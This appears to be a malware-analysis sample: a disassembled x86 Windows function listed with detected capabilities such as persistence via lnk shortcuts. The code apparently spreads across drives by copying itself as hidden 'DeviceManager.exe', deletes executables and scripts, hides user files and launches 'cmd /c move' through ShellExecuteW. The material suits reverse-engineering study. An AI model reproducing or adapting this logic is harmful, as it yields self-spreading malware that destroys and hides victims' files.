Function at 0x402059
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x150c
call fcn.00404820
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
pop ecx
push 0x208
push 0
lea eax, [ebp - 0xc78]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x660]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x1298]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x868]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x1090]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xe88]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._ls
push 0x208
lea eax, [ebp - 0xc78]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._ls_s.lnk
push 0x208
lea eax, [ebp - 0x1298]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push dword [ebp + 0xc]
push str._ls.lnk
push 0x208
lea eax, [ebp - 0x1090]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push dword [ebp + 8]
push str._ls_
push 0x208
lea eax, [ebp - 0x660]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push dword [ebp + 8]
push str._ls_DeviceManager.exe
push 0x208
lea eax, [ebp - 0x868]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push dword [ebp + 8]
push str._ls_DeviceConfigManager.exe
push 0x208
lea eax, [ebp - 0xe88]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea eax, [ebp - 0xe88]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4021f0
push 0x80
lea eax, [ebp - 0xe88]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe88]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x1298]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4021f0
lea eax, [ebp - 0x1298]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x1298]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402269
movzx eax, byte [ebp + 0x10]
cmp eax, 1
jne 0x40222f
push 0
push 0
push 0
push 9
push 0x406a4c
push 0
push 0x406a64
lea eax, [ebp - 0x1298]
push eax
call fcn.00401f4d
add esp, 0x20
jmp 0x402252
push 0
push 0
push 0
push 8
push str.shell32.dll
push 0
push 0x406a84
lea eax, [ebp - 0x1298]
push eax
call fcn.00401f4d
add esp, 0x20
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea eax, [ebp - 0x1298]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40229c
push 0
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40229c
push 7
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x406a8c
lea eax, [ebp - 0x868]
push eax
call sub.MSVCRT.dll__wfopen
pop ecx
pop ecx
mov dword [ebp - 0x129c], eax
cmp dword [ebp - 0x129c], 0
je 0x40231b
push 2
push 0
push dword [ebp - 0x129c]
call sub.MSVCRT.dll_fseek
add esp, 0xc
push dword [ebp - 0x129c]
call sub.MSVCRT.dll_ftell
pop ecx
mov dword [ebp - 0x12a0], eax
push dword [ebp - 0x129c]
call sub.MSVCRT.dll_fclose
pop ecx
mov eax, dword [ebp - 0x12a0]
cmp eax, dword [0x408050]
je 0x40231b
push 0x80
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40234f
push 0
lea eax, [ebp - 0x868]
push eax
push 0x408058
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 7
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0xc78]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xc7c], eax
cmp dword [ebp - 0xc7c], 0xffffffff
jne 0x402379
xor eax, eax
jmp 0x4029fa
push 0x406a94
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
je 0x40243a
lea eax, [ebp - 0x1090]
mov dword [ebp - 0x14ac], eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x14b0], eax
mov eax, dword [ebp - 0x14b0]
mov ax, word [eax]
mov word [ebp - 0x14b2], ax
mov ecx, dword [ebp - 0x14ac]
cmp ax, word [ecx]
jne 0x40240f
cmp word [ebp - 0x14b2], 0
je 0x402406
mov eax, dword [ebp - 0x14b0]
mov ax, word [eax + 2]
mov word [ebp - 0x14b4], ax
mov ecx, dword [ebp - 0x14ac]
cmp ax, word [ecx + 2]
jne 0x40240f
add dword [ebp - 0x14b0], 4
add dword [ebp - 0x14ac], 4
cmp word [ebp - 0x14b4], 0
jne 0x4023ac
and dword [ebp - 0x14b8], 0
jmp 0x40241a
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x14b8], eax
mov eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x14bc], eax
xor eax, eax
cmp dword [ebp - 0x14bc], 0
sete al
test eax, eax
je 0x4025cd
mov dword [ebp - 0x14c0], str.autorun.inf
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x14c4], eax
mov eax, dword [ebp - 0x14c4]
mov ax, word [eax]
mov word [ebp - 0x14c6], ax
mov ecx, dword [ebp - 0x14c0]
cmp ax, word [ecx]
jne 0x4024b3
cmp word [ebp - 0x14c6], 0
je 0x4024aa
mov eax, dword [ebp - 0x14c4]
mov ax, word [eax + 2]
mov word [ebp - 0x14c8], ax
mov ecx, dword [ebp - 0x14c0]
cmp ax, word [ecx + 2]
jne 0x4024b3
add dword [ebp - 0x14c4], 4
add dword [ebp - 0x14c0], 4
cmp word [ebp - 0x14c8], 0
jne 0x402450
and dword [ebp - 0x14cc], 0
jmp 0x4024be
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x14cc], eax
mov eax, dword [ebp - 0x14cc]
mov dword [ebp - 0x14d0], eax
cmp dword [ebp - 0x14d0], 0
je 0x4025cd
push str..vbs
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..bat
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push 0x406ad0
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..scr
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..com
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..jse
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..cmd
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..pif
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..jar
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x4025cd
push str..dll
lea eax, [ebp - 0x42c]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
je 0x402625
push 0x208
push 0
lea eax, [ebp - 0xa70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push dword [ebp + 8]
push str._ls_s
push 0x208
lea eax, [ebp - 0xa70]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push 0x80
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4029d0
mov dword [ebp - 0x14d4], str..lnk
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x14d8], eax
mov eax, dword [ebp - 0x14d8]
mov ax, word [eax]
mov word [ebp - 0x14da], ax
mov ecx, dword [ebp - 0x14d4]
cmp ax, word [ecx]
jne 0x4026b3
cmp word [ebp - 0x14da], 0
je 0x4026aa
mov eax, dword [ebp - 0x14d8]
mov ax, word [eax + 2]
mov word [ebp - 0x14dc], ax
mov ecx, dword [ebp - 0x14d4]
cmp ax, word [ecx + 2]
jne 0x4026b3
add dword [ebp - 0x14d8], 4
add dword [ebp - 0x14d4], 4
cmp word [ebp - 0x14dc], 0
jne 0x402650
and dword [ebp - 0x14e0], 0
jmp 0x4026be
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x14e0], eax
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
xor eax, eax
cmp dword [ebp - 0x14e4], 0
sete al
test eax, eax
jne 0x4029d0
lea eax, [ebp - 0x1090]
mov dword [ebp - 0x14e8], eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x14ec], eax
mov eax, dword [ebp - 0x14ec]
mov ax, word [eax]
mov word [ebp - 0x14ee], ax
mov ecx, dword [ebp - 0x14e8]
cmp ax, word [ecx]
jne 0x402759
cmp word [ebp - 0x14ee], 0
je 0x402750
mov eax, dword [ebp - 0x14ec]
mov ax, word [eax + 2]
mov word [ebp - 0x14f0], ax
mov ecx, dword [ebp - 0x14e8]
cmp ax, word [ecx + 2]
jne 0x402759
add dword [ebp - 0x14ec], 4
add dword [ebp - 0x14e8], 4
cmp word [ebp - 0x14f0], 0
jne 0x4026f6
and dword [ebp - 0x14f4], 0
jmp 0x402764
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x14f4], eax
mov eax, dword [ebp - 0x14f4]
mov dword [ebp - 0x14f8], eax
xor eax, eax
cmp dword [ebp - 0x14f8], 0
sete al
test eax, eax
jne 0x4029d0
mov dword [ebp - 0x14fc], 0x406b48
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x1500], eax
mov eax, dword [ebp - 0x1500]
mov ax, word [eax]
mov word [ebp - 0x1502], ax
mov ecx, dword [ebp - 0x14fc]
cmp ax, word [ecx]
jne 0x4027fd
cmp word [ebp - 0x1502], 0
je 0x4027f4
mov eax, dword [ebp - 0x1500]
mov ax, word [eax + 2]
mov word [ebp - 0x1504], ax
mov ecx, dword [ebp - 0x14fc]
cmp ax, word [ecx + 2]
jne 0x4027fd
add dword [ebp - 0x1500], 4
add dword [ebp - 0x14fc], 4
cmp word [ebp - 0x1504], 0
jne 0x40279a
and dword [ebp - 0x1508], 0
jmp 0x402808
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x1508], eax
mov eax, dword [ebp - 0x1508]
mov dword [ebp - 0x150c], eax
xor eax, eax
cmp dword [ebp - 0x150c], 0
sete al
test eax, eax
jne 0x4029d0
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xa70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push dword [ebp + 8]
push 0x406b4c
push 0x208
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
lea eax, [ebp - 0x42c]
push eax
push dword [ebp + 8]
push str._s__ls
push 0x208
lea eax, [ebp - 0xa70]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402979
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402979
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0x10
jne 0x40296c
push 0x406b70
lea eax, [ebp - 0xa70]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x40296a
push 0x406b78
lea eax, [ebp - 0xa70]
push eax
call fcn.00401000
pop ecx
pop ecx
test eax, eax
jne 0x40296a
push 0x208
push 0
lea eax, [ebp - 0x14a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0x406b7c
push 0x208
lea eax, [ebp - 0x14a8]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x14a8]
push eax
push 0x406ba8
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x402979
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x208
push 0
lea eax, [ebp - 0x14a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xa70]
push eax
lea eax, [ebp - 0x208]
push eax
push str._c_move__y___ls_____ls_
push 0x208
lea eax, [ebp - 0x14a8]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push 0
push 0
lea eax, [ebp - 0x14a8]
push eax
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x458]
push eax
push dword [ebp - 0xc7c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402379
push dword [ebp - 0xc7c]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
leave
ret